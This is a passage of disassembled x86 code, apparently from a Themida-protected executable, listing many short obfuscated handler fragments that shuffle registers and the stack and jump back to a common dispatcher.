jmp loc_544C6A
; ---------------------------------------------------------------------------
loc_54958B: ; CODE XREF: Themida_:0054FA0Ej
add esi, 19963B8Eh
mov ecx, [esp]
add esp, 4
mov eax, esi
pop esi
sub esp, 4
jmp loc_54CB7F
; ---------------------------------------------------------------------------
loc_5495A2: ; CODE XREF: Themida_:0054FE59j
mov edx, 4
sub edi, edx
pop edx
jmp loc_54B9B3
; ---------------------------------------------------------------------------
loc_5495AF: ; CODE XREF: Themida_:005485F1j
jmp loc_544022
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_545BCC
loc_5495B4: ; CODE XREF: sub_545BCC+8j
sub dl, 3Fh
jmp loc_54AA25
; END OF FUNCTION CHUNK FOR sub_545BCC
; ---------------------------------------------------------------------------
loc_5495BC: ; CODE XREF: Themida_:0054D23Fj
and eax, ecx
pop ecx
or edx, eax
jmp loc_54E37C
; ---------------------------------------------------------------------------
loc_5495C6: ; CODE XREF: Themida_:0054CD17j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
xchg ebp, [esp]
pop esp
mov ax, [esp]
push edi
mov edi, esp
add edi, 4
push 4E0Eh
mov [esp], esi
push edx
push eax
push 3C8A1F61h
pop eax
xchg eax, edi
push edi
not dword ptr [esp]
pop edi
xchg eax, edi
dec eax
xor eax, 0C375E09Fh
mov edx, eax
mov eax, [esp]
add esp, 4
mov esi, edx
mov edx, [esp]
add esp, 4
add edi, esi
pop esi
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
imul cx
push small 4C7Eh
mov [esp], dx
push ax
pushf
jmp loc_546D75
; ---------------------------------------------------------------------------
loc_549633: ; CODE XREF: Themida_:0054E7B0j
add ebp, 4
xor ebp, [esp]
jmp loc_547722
; ---------------------------------------------------------------------------
loc_549641: ; CODE XREF: Themida_:00547510j
not ecx
jmp loc_54EB16
; ---------------------------------------------------------------------------
loc_549648: ; CODE XREF: Themida_:00545E4Bj
jz loc_54C9ED
push dword ptr [edi+28h]
push dword ptr [esp]
pop eax
push edx
mov edx, esp
push ebp
jmp loc_547D4B
; ---------------------------------------------------------------------------
loc_54965E: ; CODE XREF: Themida_:005464EAj
push ebx
mov ebx, esp
jmp loc_54E12D
; ---------------------------------------------------------------------------
loc_549666: ; CODE XREF: Themida_:00546452j
pop dword ptr [esp]
jmp loc_549EDF
; ---------------------------------------------------------------------------
loc_54966E: ; CODE XREF: Themida_:00546694j
test cx, ax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_549677: ; CODE XREF: Themida_:00549C05j
push esi
jmp loc_54CABA
; ---------------------------------------------------------------------------
loc_54967D: ; CODE XREF: Themida_:005459C7j
mov esi, 39CD6F99h
inc esi
push ebp
jmp loc_5477E7
; ---------------------------------------------------------------------------
loc_549689: ; CODE XREF: Themida_:0054608Fj
add edi, 4
push esi
jmp loc_544344
; ---------------------------------------------------------------------------
loc_549695: ; CODE XREF: Themida_:0054F921j
push eax
mov eax, 4
add ecx, eax
pop eax
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
jmp loc_54E8A5
; ---------------------------------------------------------------------------
loc_5496B3: ; CODE XREF: Themida_:00548224j
mov edi, edx
pop edx
jmp loc_549C3D
; ---------------------------------------------------------------------------
sub ch, 0AFh
or al, ch
jmp loc_545236
; ---------------------------------------------------------------------------
loc_5496C5: ; CODE XREF: Themida_:00549AF9j
mov eax, esp
jmp loc_54EEBA
; ---------------------------------------------------------------------------
loc_5496CC: ; CODE XREF: Themida_:005492D2j
add edi, 4
jmp loc_54A430
; ---------------------------------------------------------------------------
loc_5496D7: ; CODE XREF: Themida_:0054FA9Ej
xor edx, edi
xor edi, edx
xor edx, edi
dec edi
jmp loc_54657A
; ---------------------------------------------------------------------------
loc_5496E3: ; CODE XREF: Themida_:0054FB3Fj
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], edi
push 48EEh
mov [esp], esp
jmp loc_54A10E
; ---------------------------------------------------------------------------
loc_5496FA: ; CODE XREF: Themida_:00548511j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_547F34
; ---------------------------------------------------------------------------
loc_54970D: ; CODE XREF: Themida_:00545923j
xor ebx, ecx
xor ecx, ebx
push 707h
mov [esp], edx
mov edx, 5FDB464Ch
dec edx
push edi
mov edi, 49E265CEh
sub edx, edi
pop edi
sub edx, 4BB4AED9h
xor ecx, edx
pop edx
jmp loc_54B4D5
; ---------------------------------------------------------------------------
loc_549736: ; CODE XREF: Themida_:00548DD8j
xor ebx, 0B88BB254h
or esi, ebx
pop ebx
jmp loc_546928
; ---------------------------------------------------------------------------
loc_549744: ; CODE XREF: Themida_:005486C4j
pop ecx
dec esi
dec esi
sub esi, 0F5E7CD72h
mov edx, esi
pop esi
push ebp
mov ebp, 0F4B0DEFh
shr ebp, 5
jmp loc_54BBF0
; ---------------------------------------------------------------------------
loc_54975E: ; CODE XREF: Themida_:00549939j
pop ebp
mov ecx, [esp]
add esp, 4
push eax
jmp loc_54FB07
; ---------------------------------------------------------------------------
loc_54976E: ; CODE XREF: Themida_:0054B8C3j
pop esp
mov [esp], eax
jmp loc_54C6B6
; ---------------------------------------------------------------------------
loc_549777: ; CODE XREF: Themida_:0054F40Fj
mov [esp], esi
mov esi, 5081479Dh
xchg ebx, esi
xchg edx, ebx
jmp loc_54EF8F
; ---------------------------------------------------------------------------
loc_549788: ; CODE XREF: Themida_:0054925Aj
and eax, ecx
pop ecx
shr eax, 0Bh
xor ecx, eax
jmp loc_547C3A
; ---------------------------------------------------------------------------
loc_549795: ; CODE XREF: Themida_:0054C40Aj
push ebx
mov ebx, esp
add ebx, 4
push esi
push ebp
mov ebp, 2BD3327Eh
neg ebp
xor ebp, 0D42CCD86h
jmp loc_54F210
; ---------------------------------------------------------------------------
loc_5497B2: ; CODE XREF: Themida_:0054FFECj
add al, ch
pop cx
mov ecx, [esp]
jmp loc_54C65F
; ---------------------------------------------------------------------------
loc_5497BE: ; CODE XREF: Themida_:00545872j
dec ecx
jmp loc_54D4D3
; ---------------------------------------------------------------------------
loc_5497C4: ; CODE XREF: Themida_:0054F82Dj
xor ebp, 0CFF7E81Dh
jmp loc_545836
; ---------------------------------------------------------------------------
loc_5497CF: ; CODE XREF: Themida_:00546DE9j
add edi, ebx
sub edi, 392030C8h
pop ebx
add edi, 2
xchg edi, [esp]
mov esp, [esp]
div cl
movzx cx, ah
push 47FBh
mov [esp], edx
jmp loc_545F07
; ---------------------------------------------------------------------------
loc_5497F4: ; CODE XREF: Themida_:0054F6A2j
sub ebx, edi
pop edi
neg ebx
neg ebx
add ebx, 2EE8A517h
sub edi, 20C1994h
add edi, ebx
add edi, 20C1994h
mov ebx, [esp]
add esp, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
push ebx
push eax
mov eax, 1E7A1B99h
mov ebx, 0C91640Dh
add ebx, eax
pop eax
jmp loc_5463B1
; ---------------------------------------------------------------------------
loc_549832: ; CODE XREF: Themida_:0054E6A7j
xor edx, 66DF6814h
jmp loc_547477
; ---------------------------------------------------------------------------
loc_54983D: ; CODE XREF: Themida_:00548A42j
shl edx, 2
not edx
or edx, 75031985h
sub edx, 0FD6B999Bh
jmp loc_54C141
; ---------------------------------------------------------------------------
loc_549853: ; CODE XREF: Themida_:0054B598j
not al
shl al, 4
and al, 0EDh
xor al, 41h
jmp loc_54A6B5
; ---------------------------------------------------------------------------
loc_549861: ; CODE XREF: Themida_:00549321j
xor edi, [esp]
mov esp, [esp]
jmp loc_5484A4
; ---------------------------------------------------------------------------
loc_54986C: ; CODE XREF: Themida_:00549A20j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5474A1
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_549886: ; CODE XREF: Themida_:00548E7Ej
not ecx
jmp loc_54D2B5
; ---------------------------------------------------------------------------
loc_54988D: ; CODE XREF: Themida_:0054B349j
mov [esp], edx
mov edx, 5E3F0C25h
and edx, 74FD1739h
jmp loc_5465A1
; ---------------------------------------------------------------------------
loc_5498A0: ; CODE XREF: Themida_:005494BEj
mov esp, [esp]
push edx
jmp loc_545E0F
; ---------------------------------------------------------------------------
loc_5498A9: ; CODE XREF: Themida_:0054F4ADj
sub esp, 4
mov [esp], ecx
jmp loc_54A52D
; ---------------------------------------------------------------------------
loc_5498B7: ; CODE XREF: Themida_:0054E319j
add ecx, offset byte_4A049D
jmp loc_546281
; ---------------------------------------------------------------------------
loc_5498C2: ; CODE XREF: Themida_:00548F3Aj
dec ch
not ch
add ch, 1Bh
mov dh, ch
pop ecx
push edx
mov dl, 66h
push ecx
mov cl, dl
neg cl
mov dl, cl
pop ecx
add dl, 0E8h
inc dl
jmp loc_54ABC3
; ---------------------------------------------------------------------------
loc_5498E1: ; CODE XREF: Themida_:0054FC35j
add esp, 4
jmp loc_54BB22
; ---------------------------------------------------------------------------
loc_5498E9: ; CODE XREF: Themida_:0054DFE5j
add ecx, edx
pop edx
sub edi, ecx
jmp loc_54B2FE
; ---------------------------------------------------------------------------
loc_5498F3: ; CODE XREF: Themida_:0054D580j
xor esi, 30DB7CBCh
add esi, 43DB2147h
add esi, 21AD269Eh
or esi, 1C031852h
push eax
mov eax, 4F034D8Fh
shl eax, 3
neg eax
sub eax, 0CA85FA09h
xor esi, eax
pop eax
mov edi, esi
pop esi
mov ebx, edi
pop edi
sub eax, 4A8655AFh
add eax, ebx
add eax, 4A8655AFh
jmp loc_54D957
; ---------------------------------------------------------------------------
loc_549935: ; CODE XREF: Themida_:00546305j
add [esp+4], ebp
jmp loc_54975E
; ---------------------------------------------------------------------------
loc_54993E: ; CODE XREF: Themida_:00549AF1j
pop ebx
xor esi, edi
pop edi
sub dword ptr [esp+4], 250A3EEFh
jmp loc_546376
; ---------------------------------------------------------------------------
loc_54994F: ; CODE XREF: Themida_:00549CA1j
sub al, 82h
mov ebx, [esp]
add esp, 4
push 55EDh
mov [esp], ecx
mov ch, 39h
shr ch, 6
neg ch
dec ch
add ch, 55h
jmp loc_5482DE
; ---------------------------------------------------------------------------
loc_549970: ; CODE XREF: Themida_:00547C76j
mov [esp], ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
jmp loc_54F446
; ---------------------------------------------------------------------------
loc_549989: ; CODE XREF: Themida_:0054F0FAj
push edi
mov edi, esp
push ebx
mov ebx, 4
add edi, ebx
pop ebx
add edi, 4
xchg edi, [esp]
mov esp, [esp]
pop eax
jmp loc_545409
; ---------------------------------------------------------------------------
loc_5499A7: ; CODE XREF: Themida_:00549AA9j
pop edi
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
push 16C4h
mov [esp], esi
mov esi, 4
jmp loc_544436
; ---------------------------------------------------------------------------
loc_5499C6: ; CODE XREF: Themida_:0054FB7Dj
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], dx
push ax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5499DD: ; CODE XREF: Themida_:0054640Dj
mov esi, 4
jmp loc_54B1DA
; ---------------------------------------------------------------------------
loc_5499E7: ; CODE XREF: Themida_:0054D985j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
jmp loc_54EBD8
; ---------------------------------------------------------------------------
loc_5499FE: ; CODE XREF: Themida_:00546DC8j
pop esp
mov cx, [esp]
push ecx
push esp
pop ecx
push ebp
mov ebp, 1C1C557Eh
dec ebp
sub ebp, 518F0A33h
not ebp
jmp loc_54B936
; ---------------------------------------------------------------------------
loc_549A1A: ; CODE XREF: Themida_:005459F8j
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_54986C
; ---------------------------------------------------------------------------
loc_549A25: ; CODE XREF: Themida_:0054B2F2j
mov eax, 1D43003Ah
neg eax
jmp loc_546C9E
; ---------------------------------------------------------------------------
loc_549A31: ; CODE XREF: Themida_:0054BBC5j
push 4BF1h
mov [esp], edx
jmp loc_54A390
; ---------------------------------------------------------------------------
loc_549A3E: ; CODE XREF: Themida_:0054F167j
pop eax
jmp loc_546D47
; ---------------------------------------------------------------------------
loc_549A44: ; CODE XREF: Themida_:00545E96j
push eax
mov eax, 467F57DDh
or ecx, eax
pop eax
not ecx
push esi
mov esi, 556F7A9Dh
add ecx, esi
pop esi
neg ecx
sub ecx, 0B1FACAF7h
jmp loc_549451
; ---------------------------------------------------------------------------
loc_549A65: ; CODE XREF: Themida_:00547E92j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_549A6A: ; CODE XREF: Themida_:005461A9j
push ebp
mov ebp, 39280DA5h
sub eax, ebp
mov ebp, [esp]
add esp, 4
sub eax, 41EA03A6h
mov edi, [esp]
add esp, 4
jmp loc_549E7B
; ---------------------------------------------------------------------------
loc_549A8B: ; CODE XREF: Themida_:0054A36Dj
pop edi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_54A139
; ---------------------------------------------------------------------------
loc_549A9A: ; CODE XREF: Themida_:00546A67j
mov esi, [esp]
add esp, 4
jmp loc_54E28E
; ---------------------------------------------------------------------------
loc_549AA5: ; CODE XREF: Themida_:00544B3Dj
add [esp+4], edi
jmp loc_5499A7
; ---------------------------------------------------------------------------
loc_549AAE: ; CODE XREF: Themida_:0054E0F1j
add [esp+4], esi
pop esi
pop ebp
add ebp, 4
add ebp, 2
jmp loc_54C169
; ---------------------------------------------------------------------------
loc_549AC2: ; CODE XREF: Themida_:0054DDA3j
sub ecx, 0BB0EB5F3h
add ebx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_54F335
; ---------------------------------------------------------------------------
loc_549AD5: ; CODE XREF: Themida_:00545998j
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_54A57C
; ---------------------------------------------------------------------------
loc_549AE9: ; CODE XREF: Themida_:0054D79Fj
xor ebx, 0C9098141h
mov esi, ebx
jmp loc_54993E
; ---------------------------------------------------------------------------
loc_549AF6: ; CODE XREF: Themida_:0054CB62j
mov [esp], eax
jmp loc_5496C5
; ---------------------------------------------------------------------------
loc_549AFE: ; CODE XREF: Themida_:00546B3Cj
mov bl, ah
pop eax
jmp loc_547CBA
; ---------------------------------------------------------------------------
loc_549B06: ; CODE XREF: Themida_:00546140j
sub ax, 5C1Dh
push 0DC9h
mov [esp], ecx
mov cx, 433Ah
add cx, 36DCh
push edi
mov di, 31Bh
sub di, 25C9h
or di, 1D9Dh
inc di
neg di
add di, 35Eh
sub cx, di
pop edi
sub ax, cx
pop ecx
jmp loc_547E12
; ---------------------------------------------------------------------------
loc_549B41: ; CODE XREF: Themida_:0054FF4Cj
add eax, edi
sub eax, 3F230D1Ch
mov edi, [esp]
add esp, 4
shr eax, 6
not eax
xor eax, 660413CDh
add eax, 209ADDD8h
add esi, eax
pop eax
mov ebp, esi
pop esi
and ebx, ebp
pop ebp
or ebx, ebx
jnz loc_54ECBD
push ebp
push edx
push ecx
mov ecx, 3EC54E6Ah
add dword ptr [esp+4], 253E194Fh
push ecx
jmp loc_545230
; ---------------------------------------------------------------------------
loc_549B87: ; CODE XREF: Themida_:005461FCj
add edx, ebp
push edi
push esi
push 215C4633h
pop esi
push eax
jmp loc_54D89F
; ---------------------------------------------------------------------------
loc_549B97: ; CODE XREF: Themida_:0054EACEj
add edx, ebp
pop ebp
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_54D5D5
; ---------------------------------------------------------------------------
loc_549BA9: ; CODE XREF: Themida_:00546384j
pop ebx
pop esi
mov edx, [esp]
add esp, 4
jmp loc_544022
; ---------------------------------------------------------------------------
loc_549BB6: ; CODE XREF: Themida_:005473B5j
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
sub esp, 4
mov [esp], edi
push 47C1h
mov [esp], ebx
jmp loc_54B8C8
; ---------------------------------------------------------------------------
loc_549BDF: ; CODE XREF: Themida_:0054FD8Dj
not dword ptr [esp]
pop ebp
push ebx
mov ebx, 8FEBBE77h
sub ebp, 0C170B9Ah
sub ebp, ebx
add ebp, 0C170B9Ah
pop ebx
mov edi, ebp
mov ebp, [esp]
add esp, 4
and ecx, edi
mov edi, [esp]
jmp loc_549677
; ---------------------------------------------------------------------------
loc_549C0A: ; CODE XREF: Themida_:00545188j
pop esp
mov [esp], esi
push dword ptr [esp]
jmp loc_54641F
; ---------------------------------------------------------------------------
loc_549C16: ; CODE XREF: Themida_:00544789j
push 262Eh
mov [esp], edx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
jmp loc_54F79F
; ---------------------------------------------------------------------------
loc_549C3D: ; CODE XREF: Themida_:005496B6j
mov eax, edi
pop edi
jmp loc_54BBF6
; ---------------------------------------------------------------------------
loc_549C45: ; CODE XREF: Themida_:005441AFj
add ebx, 4
jmp loc_54854F
; ---------------------------------------------------------------------------
loc_549C50: ; CODE XREF: Themida_:0054C014j
mov edx, edi
pop edi
xor edx, 67F952A6h
add ecx, edx
pop edx
xchg ecx, [esp]
jmp loc_54544B
; ---------------------------------------------------------------------------
loc_549C64: ; CODE XREF: Themida_:00547CC1j
mov [esp], eax
mov ah, bl
jmp loc_54D0DA
; ---------------------------------------------------------------------------
loc_549C6E: ; CODE XREF: Themida_:00548D6Fj
pop esi
add edx, 19111233h
shl edx, 6
or edx, 7DE269F4h
push eax
mov eax, 0
jmp near ptr dword_547124+1Ch
; ---------------------------------------------------------------------------
loc_549C89: ; CODE XREF: Themida_:0054D0DCj
pop eax
mov [edi+eax*4], cl
jmp loc_54D662
; ---------------------------------------------------------------------------
loc_549C92: ; CODE XREF: Themida_:0054EFA2j
pop eax
dec bl
shl bl, 3
inc bl
xor bl, 0CCh
add al, 82h
add al, bl
jmp loc_54994F
; ---------------------------------------------------------------------------
loc_549CA6: ; CODE XREF: Themida_:0054B9B6j
mov esp, [esp]
mov [esp], ecx
jmp loc_54AC5E
; ---------------------------------------------------------------------------
loc_549CB1: ; CODE XREF: Themida_:0054D73Dj
dec edx
add edx, 0B99CB7CFh
mov ebp, edx
pop edx
push 65AEh
mov [esp], ebp
push dword ptr [esp]
pop edx
add esp, 4
pop ebp
and eax, edx
push dword ptr [esp]
pop edx
jmp loc_54DDD3
; ---------------------------------------------------------------------------
loc_549CD9: ; CODE XREF: Themida_:00546CC9j
push eax
mov eax, 4189560Bh
or eax, 77380A9Dh
dec eax
not eax
xor eax, 7B0807E2h
inc eax
add eax, 0CB15980h
push eax
pop ebx
push dword ptr [esp]
pop eax
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_54EB49
; ---------------------------------------------------------------------------
loc_549D0C: ; CODE XREF: Themida_:0054857Dj
xor al, 0F8h
sub al, 0F0h
sub esp, 2
mov [esp], dx
mov dl, 0D9h
mov ch, dl
pop dx
sub ch, al
mov eax, [esp]
jmp loc_546D68
; ---------------------------------------------------------------------------
loc_549D27: ; CODE XREF: Themida_:005478BEj
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
push eax
mov eax, 48051C9Fh
xor eax, 33AD1077h
add eax, 8457F31Ch
push ebp
mov ebp, 21851303h
and ebp, 68961DC3h
xor ebp, 19FD7BA7h
sub edi, ebp
pop ebp
add edi, eax
jmp loc_546E05
; ---------------------------------------------------------------------------
loc_549D64: ; CODE XREF: Themida_:0054C0D8j
mov ebx, 21871240h
add ecx, ebx
pop ebx
xor ecx, 0ECCE90FFh
add ebx, ecx
pop ecx
sub ebx, esi
push ebp
mov ebp, 17445F8h
push ecx
mov ecx, 72945C7Dh
xor ebp, ecx
jmp loc_54C25B
; ---------------------------------------------------------------------------
loc_549D8A: ; CODE XREF: Themida_:0054E6D1j
pop ecx
add esp, 4
pop dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ecx
push 7BC3h
jmp loc_54CD87
; ---------------------------------------------------------------------------
loc_549DA5: ; CODE XREF: Themida_:005456F4j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
jmp loc_548AC4
; ---------------------------------------------------------------------------
loc_549DBF: ; CODE XREF: Themida_:0054B6F6j
mov [esp], ebx
jmp loc_5465EF
; ---------------------------------------------------------------------------
loc_549DC7: ; CODE XREF: Themida_:00547D0Fj
xor ebx, edi
pop edi
push ebp
mov ebp, 513B6D58h
add ebp, 9947E12h
or ebp, 51B628C2h
inc ebp
neg ebp
xor ebp, 9FD84FDBh
jmp loc_544A73
; ---------------------------------------------------------------------------
loc_549DEA: ; CODE XREF: Themida_:0054D764j
push 0BBh
mov [esp], eax
mov eax, esp
push esi
mov esi, 77E453DCh
xor esi, 135B1ED8h
add esi, 9B40B300h
add eax, esi
pop esi
sub eax, 4
xchg eax, [esp]
jmp loc_548F02
; ---------------------------------------------------------------------------
loc_549E16: ; CODE XREF: Themida_:0054DEF3j
add esp, 4
pop dword ptr [eax]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_549E23: ; CODE XREF: Themida_:0054A8AEj
xor edx, 755766F9h
inc edx
jmp loc_54F569
; ---------------------------------------------------------------------------
loc_549E2F: ; CODE XREF: Themida_:0054A2BCj
push edx
mov edx, 0C8FB9550h
add eax, edx
pop edx
xor esi, eax
pop eax
xor ecx, esi
pop esi
push 3E09h
mov [esp], edi
push 217376CDh
jmp loc_54467F
; ---------------------------------------------------------------------------
loc_549E50: ; CODE XREF: Themida_:0055002Cj
pop eax
xchg edi, [esp]
pop esp
mov cx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 2
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], eax
push ebx
jmp loc_546D88
; ---------------------------------------------------------------------------
loc_549E7B: ; CODE XREF: Themida_:00549A86j
sub esp, 4
mov [esp], esi
push 39B21FD9h
mov esi, [esp]
push ecx
push esp
pop ecx
jmp loc_54823B
; ---------------------------------------------------------------------------
loc_549E94: ; CODE XREF: Themida_:0054ABB4j
push 32227938h
pop ebx
xor ebx, 35A338A1h
mov ebp, ebx
pop ebx
add ebp, 6CD81C3Eh
neg ebp
jmp loc_5463EC
; ---------------------------------------------------------------------------
loc_549EB0: ; CODE XREF: Themida_:00545A4Ej
pop edx
shl esi, 3
add esi, 9F530C96h
xor edx, esi
pop esi
add edi, edx
pop edx
and eax, edi
mov edi, [esp]
jmp loc_545E43
; ---------------------------------------------------------------------------
loc_549ECA: ; CODE XREF: Themida_:00545286j
sub edx, 78A230A2h
jmp loc_54892D
; ---------------------------------------------------------------------------
loc_549ED5: ; CODE XREF: Themida_:00549086j
mov ecx, 4
jmp loc_54C906
; ---------------------------------------------------------------------------
loc_549EDF: ; CODE XREF: Themida_:00549669j
pop esp
push 5F86h
jmp loc_54CF24
; ---------------------------------------------------------------------------
loc_549EEA: ; CODE XREF: Themida_:0054408Ej
push esi
jmp loc_5458BB
; ---------------------------------------------------------------------------
loc_549EF0: ; CODE XREF: Themida_:00546B6Bj
push ecx
mov ecx, 12B46D90h
push esi
mov esi, 5F785BA6h
add esi, 25841C58h
shl esi, 8
neg esi
and esi, 50FC7F33h
push eax
mov eax, 65217E04h
shl eax, 5
inc eax
shl eax, 2
add eax, 7DE00E52h
xor esi, eax
pop eax
add esi, 3092F091h
and ecx, esi
pop esi
push edi
jmp loc_544F6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_54EAB8
loc_549F31: ; CODE XREF: sub_54EAB8+5j
mov ch, al
mov bh, ch
pop ecx
pop eax
push eax
mov al, bh
mov dl, al
pop eax
pop ebx
jmp loc_54C3A3
; END OF FUNCTION CHUNK FOR sub_54EAB8
; ---------------------------------------------------------------------------
loc_549F43: ; CODE XREF: Themida_:005442B9j
add ebp, eax
mov eax, [esp]
add esp, 4
push esi
mov esi, 4
add ebp, esi
jmp loc_54834A
; ---------------------------------------------------------------------------
loc_549F5B: ; CODE XREF: Themida_:0054CB82j
push ecx
jmp loc_54DE28
; ---------------------------------------------------------------------------
loc_549F61: ; CODE XREF: Themida_:005474EAj
mov esp, [esp]
push 2175h
jmp loc_54CA0B
; ---------------------------------------------------------------------------
loc_549F6E: ; CODE XREF: Themida_:0054C393j
mov bh, 6Eh
add ch, bh
pop ebx
xor al, ch
pop ecx
push small 47AEh
mov [esp], cx
mov ch, 64h
jmp loc_54CC51
; ---------------------------------------------------------------------------
loc_549F85: ; CODE XREF: Themida_:0054507Ej
add eax, 13AD6EAEh
sub eax, ebx
push esi
mov esi, 13AD6EAEh
jmp loc_54D6A6
; ---------------------------------------------------------------------------
loc_549F97: ; CODE XREF: Themida_:00548285j
push edi
push edx
jmp loc_54A642
; ---------------------------------------------------------------------------
loc_549F9E: ; CODE XREF: Themida_:00547969j
or edi, 1B8C2E5Fh
shr edi, 2
xor edi, 1B4A1056h
add edi, 0EE024E9Dh
push 386h
mov [esp], edi
pop ebx
mov edi, [esp]
add esp, 4
mov ebp, 0FD4CA599h
xor ebp, ebx
jmp loc_54A329
; ---------------------------------------------------------------------------
loc_549FD1: ; CODE XREF: Themida_:0054BB71j
add edx, eax
push edi
mov edi, 2D6D5601h
not edi
sub edi, 9A624888h
jmp loc_54CC1B
; ---------------------------------------------------------------------------
loc_549FE6: ; CODE XREF: Themida_:0054837Aj
add ebx, 4
jmp loc_54F685
; ---------------------------------------------------------------------------
loc_549FF1: ; CODE XREF: Themida_:0054A200j
push edx
mov dh, 59h
push ecx
mov cl, 63h
xor dh, cl
mov ecx, [esp]
add esp, 4
sub bl, 0D0h
add bl, dh
add bl, 0D0h
jmp loc_546389
; ---------------------------------------------------------------------------
loc_54A00F: ; CODE XREF: Themida_:0054D44Aj
mov [esp], esp
push ebp
jmp loc_54F8B6
; ---------------------------------------------------------------------------
loc_54A018: ; CODE XREF: Themida_:005440A7j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_547B0B
; ---------------------------------------------------------------------------
loc_54A02D: ; CODE XREF: Themida_:00548972j
push edi
mov edi, 101F1530h
or edi, 7E1910A7h
jmp loc_54C019
; ---------------------------------------------------------------------------
loc_54A03E: ; CODE XREF: Themida_:0054D2B0j
shl ebp, 7
add ebp, 15BD504Bh
mov esi, ebp
pop ebp
mov edi, 0B6062296h
push edx
mov edx, 51EF4194h
jmp loc_5487CA
; ---------------------------------------------------------------------------
loc_54A05A: ; CODE XREF: Themida_:0054D348j
push 5D1Fh
mov [esp], ecx
push esi
mov si, 0E86h
push 1F4Ah
jmp loc_545624
; ---------------------------------------------------------------------------
loc_54A071: ; CODE XREF: Themida_:0054CCD5j
shl ecx, 1
jmp loc_54CD3E
; ---------------------------------------------------------------------------
loc_54A078: ; CODE XREF: Themida_:0054D564j
mov edx, esp
add edx, 4
push 756Ch
jmp loc_54C294
; ---------------------------------------------------------------------------
loc_54A08A: ; CODE XREF: Themida_:0054686Fj
add eax, 4
xchg eax, [esp]
pop esp
add edx, 4
push ebx
mov ebx, 4
add edx, ebx
pop ebx
push 76CCh
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
push dword ptr [esp]
pop eax
push eax
jmp loc_55006B
; ---------------------------------------------------------------------------
loc_54A0BD: ; CODE XREF: Themida_:0054545Cj
pop bx
sub al, 35h
jmp loc_54649E
; ---------------------------------------------------------------------------
loc_54A0C6: ; CODE XREF: Themida_:0054D480j
movzx eax, al
mov dx, [esp]
push 3ED2h
jmp loc_54C49F
; ---------------------------------------------------------------------------
loc_54A0D7: ; CODE XREF: Themida_:005494EAj
pop eax
jmp loc_5456BB
; ---------------------------------------------------------------------------
loc_54A0DD: ; CODE XREF: Themida_:0054B765j
mov esp, [esp]
inc byte ptr [esp]
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54A0E9: ; CODE XREF: Themida_:0054CF90j
or [edi+1Ch], edx
pop edx
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54A0F2: ; CODE XREF: Themida_:0054840Bj
push 2
pop ebx
push ecx
mov ecx, 6DA10784h
jmp loc_54DFD9
; ---------------------------------------------------------------------------
loc_54A103: ; CODE XREF: Themida_:00548A02j
xor ebx, [esp]
xor [esp], ebx
jmp loc_545D06
; ---------------------------------------------------------------------------
loc_54A10E: ; CODE XREF: Themida_:005496F5j
push eax
mov eax, 4
add dword ptr [esp+4], 3BB2297Fh
add [esp+4], eax
sub dword ptr [esp+4], 3BB2297Fh
pop eax
mov edi, [esp]
jmp loc_54D973
; ---------------------------------------------------------------------------
loc_54A131: ; CODE XREF: Themida_:0054BF44j
push dword ptr [esp]
jmp loc_5464EF
; ---------------------------------------------------------------------------
loc_54A139: ; CODE XREF: Themida_:00549A95j
mov esp, [esp]
bswap eax
sub esp, 4
jmp loc_54F561
; ---------------------------------------------------------------------------
loc_54A146: ; CODE XREF: Themida_:005459A4j
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_54AC02
; ---------------------------------------------------------------------------
loc_54A157: ; CODE XREF: Themida_:0054A8FFj
mov [esp], edx
push ebp
mov ebp, 12C71A36h
jmp loc_54D644
; ---------------------------------------------------------------------------
loc_54A165: ; CODE XREF: Themida_:0054AFEFj
test ecx, eax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54A16D: ; CODE XREF: Themida_:0054C30Fj
pop ecx
push esi
mov esi, 73673464h
dec esi
jmp loc_54FDCF
; ---------------------------------------------------------------------------
loc_54A17A: ; CODE XREF: Themida_:00545DFAj
push ebp
push 37DF1097h
pop ebp
shr ebp, 5
dec ebp
add ebp, 0FE41077Fh
mov esi, ebp
